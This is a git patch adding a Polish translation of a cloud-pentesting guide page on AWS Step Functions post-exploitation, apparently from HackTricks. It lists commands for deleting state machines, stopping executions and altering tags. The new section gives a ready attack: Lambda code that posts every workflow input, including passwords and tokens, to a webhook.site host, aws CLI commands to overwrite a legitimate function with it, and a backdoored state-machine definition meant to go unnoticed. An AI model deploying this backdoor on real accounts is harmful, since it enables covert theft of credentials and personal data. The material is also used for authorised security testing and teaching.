From d4a142161379904996f9b4a62f672dbedfb830a6 Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 27 Mar 2025 12:45:27 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws --- .../aws-stepfunctions-post-exploitation.md | 131 +++++++++++++++++- 1 file changed, 125 insertions(+), 6 deletions(-) diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md index 0a3040b15..de057d151 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md @@ -18,7 +18,7 @@ To uprawnienie pozwala na **ujawnienie tajnych danych wewnątrz wykonania**. W t ### `states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias` -Napastnik z tymi uprawnieniami mógłby na stałe usunąć maszyny stanów, ich wersje i aliasy. Może to zakłócić krytyczne przepływy pracy, prowadzić do utraty danych i wymagać znacznego czasu na odzyskanie i przywrócenie dotkniętych maszyn stanów. Dodatkowo, umożliwiłoby to napastnikowi zatarcie śladów, zakłócenie dochodzeń kryminalnych i potencjalnie sparaliżowanie operacji poprzez usunięcie niezbędnych procesów automatyzacji i konfiguracji stanów. +Atakujący z tymi uprawnieniami mógłby na stałe usunąć maszyny stanów, ich wersje i aliasy. Może to zakłócić krytyczne przepływy pracy, prowadzić do utraty danych i wymagać znacznego czasu na odzyskanie i przywrócenie dotkniętych maszyn stanów. Ponadto pozwoliłoby to atakującemu na zatarcie śladów, zakłócenie dochodzeń kryminalistycznych i potencjalne sparaliżowanie operacji poprzez usunięcie istotnych procesów automatyzacji i konfiguracji stanów. > [!NOTE] > @@ -33,11 +33,11 @@ aws stepfunctions delete-state-machine-version --state-machine-version-arn ``` -- **Potencjalny wpływ**: Zakłócenie krytycznych przepływów pracy, utrata danych i przestoje operacyjne. +- **Potencjalny wpływ**: Zakłócenie krytycznych procesów, utrata danych i przestoje operacyjne. ### `states:UpdateMapRun` -Napastnik z tym uprawnieniem mógłby manipulować konfiguracją awarii Map Run oraz ustawieniem równoległym, mając możliwość zwiększenia lub zmniejszenia maksymalnej liczby dozwolonych wykonania dziecięcych przepływów pracy, co bezpośrednio wpływa na wydajność usługi. Dodatkowo, napastnik mógłby manipulować tolerowanym procentem awarii i liczbą, mając możliwość zmniejszenia tej wartości do 0, co spowodowałoby, że za każdym razem, gdy element zawiedzie, cały przebieg mapy zawiedzie, co bezpośrednio wpłynęłoby na wykonanie maszyny stanów i potencjalnie zakłóciło krytyczne przepływy pracy. +Napastnik z tym uprawnieniem mógłby manipulować konfiguracją awarii Map Run oraz ustawieniem równoległym, mając możliwość zwiększenia lub zmniejszenia maksymalnej liczby dozwolonych wykonania procesów podrzędnych, co bezpośrednio wpływa na wydajność usługi. Dodatkowo, napastnik mógłby manipulować tolerowanym procentem i liczbą awarii, mając możliwość zmniejszenia tej wartości do 0, co spowodowałoby, że za każdym razem, gdy element zawiedzie, całe uruchomienie mapy zakończy się niepowodzeniem, co bezpośrednio wpłynęłoby na wykonanie maszyny stanów i potencjalnie zakłóciło krytyczne procesy. ```bash aws stepfunctions update-map-run --map-run-arn [--max-concurrency ] [--tolerated-failure-percentage ] [--tolerated-failure-count ] ``` @@ -45,10 +45,10 @@ aws stepfunctions update-map-run --map-run-arn [--max-concurrency [!WARNING] -> Ta akcja nie jest wspierana przez **maszyny stanów express**. +> Ta akcja nie jest wspierana przez **maszyny stanowe express**. ```bash aws stepfunctions stop-execution --execution-arn [--error ] [--cause ] ``` @@ -56,11 +56,130 @@ aws stepfunctions stop-execution --execution-arn [--error ] [--ca ### `states:TagResource`, `states:UntagResource` -Napastnik mógłby dodać, zmodyfikować lub usunąć tagi z zasobów Step Functions, zakłócając alokację kosztów w Twojej organizacji, śledzenie zasobów i polityki kontroli dostępu oparte na tagach. +Napastnik mógłby dodać, zmodyfikować lub usunąć tagi z zasobów Step Functions, zakłócając alokację kosztów w Twojej organizacji, śledzenie zasobów oraz polityki kontroli dostępu oparte na tagach. ```bash aws stepfunctions tag-resource --resource-arn --tags Key=,Value= aws stepfunctions untag-resource --resource-arn --tag-keys ``` **Potencjalny wpływ**: Zakłócenie alokacji kosztów, śledzenia zasobów i polityk kontroli dostępu opartych na tagach. +--- + +### `states:UpdateStateMachine`, `lambda:UpdateFunctionCode` + +Atakujący, który przejmuje kontrolę nad użytkownikiem lub rolą z następującymi uprawnieniami: +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "AllowUpdateStateMachine", +"Effect": "Allow", +"Action": "states:UpdateStateMachine", +"Resource": "*" +}, +{ +"Sid": "AllowUpdateFunctionCode", +"Effect": "Allow", +"Action": "lambda:UpdateFunctionCode", +"Resource": "*" +} +] +} +``` +...można przeprowadzić **wysoko wpływający i ukryty atak poeksploatacyjny**, łącząc backdooring Lambda z manipulacją logiką Step Function. + +Ten scenariusz zakłada, że ofiara używa **AWS Step Functions do orkiestracji przepływów pracy, które przetwarzają wrażliwe dane wejściowe**, takie jak dane uwierzytelniające, tokeny lub PII. + +Przykład wywołania ofiary: +```bash +aws stepfunctions start-execution \ +--state-machine-arn arn:aws:states:us-east-1::stateMachine:LegitStateMachine \ +--input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim +``` +Jeśli Funkcja Krokowa jest skonfigurowana do wywoływania Lambdy, takiej jak `LegitBusinessLogic`, atakujący może przeprowadzić **dwie ukryte warianty ataku**: + +--- + +#### Zaktualizowana funkcja lambda + +Atakujący modyfikuje kod funkcji Lambda już używanej przez Funkcję Krokową (`LegitBusinessLogic`), aby cicho wyeksportować dane wejściowe. +```python +# send_to_attacker.py +import requests + +def lambda_handler(event, context): +requests.post("https://webhook.site//exfil", json=event) +return {"status": "exfiltrated"} +``` + +```bash +zip function.zip send_to_attacker.py + +aws lambda update-function-code \ +--function-name LegitBusinessLogic \ +--zip-file fileb://function.zip -profile attacker +``` +--- + +#### Dodaj złośliwy stan do funkcji krokowej + +Alternatywnie, atakujący może wstrzyknąć **stan eksfiltracji** na początku przepływu pracy, aktualizując definicję funkcji krokowej. +```malicious_state_definition.json +{ +"Comment": "Backdoored for Exfiltration", +"StartAt": "OriginalState", +"States": { +"OriginalState": { +"Type": "Task", +"Resource": "arn:aws:lambda:us-east-1::function:LegitBusinessLogic", +"End": true +} +} +} + +``` + +```bash +aws stepfunctions update-state-machine \ +--state-machine-arn arn:aws:states:us-east-1::stateMachine:LegitStateMachine \ +--definition file://malicious_state_definition.json --profile attacker +``` +Napastnik może jeszcze bardziej dyskretnie zaktualizować definicję stanu do czegoś takiego jak to +{ +"Comment": "Backdoored for Exfiltration", +"StartAt": "ExfiltrateSecrets", +"States": { +"ExfiltrateSecrets": { +"Type": "Task", +"Resource": "arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker", +"InputPath": "$", +"ResultPath": "$.exfil", +"Next": "OriginalState" +}, +"OriginalState": { +"Type": "Task", +"Resource": "arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic", +"End": true +} +} +} +gdzie ofiara nie zauważy różnicy + +--- + +### Ustawienia ofiary (Kontekst dla Eksploatacji) + +- Funkcja krokowa (`LegitStateMachine`) jest używana do przetwarzania wrażliwych danych użytkownika. +- Wywołuje jedną lub więcej funkcji Lambda, takich jak `LegitBusinessLogic`. + +--- + +**Potencjalny wpływ**: +- Cicha eksfiltracja wrażliwych danych, w tym sekretów, poświadczeń, kluczy API i PII. +- Brak widocznych błędów lub awarii w wykonaniu przepływu pracy. +- Trudne do wykrycia bez audytu kodu Lambda lub śladów wykonania. +- Umożliwia długoterminową persistencję, jeśli tylne drzwi pozostaną w kodzie lub logice ASL. + + {{#include ../../../banners/hacktricks-training.md}}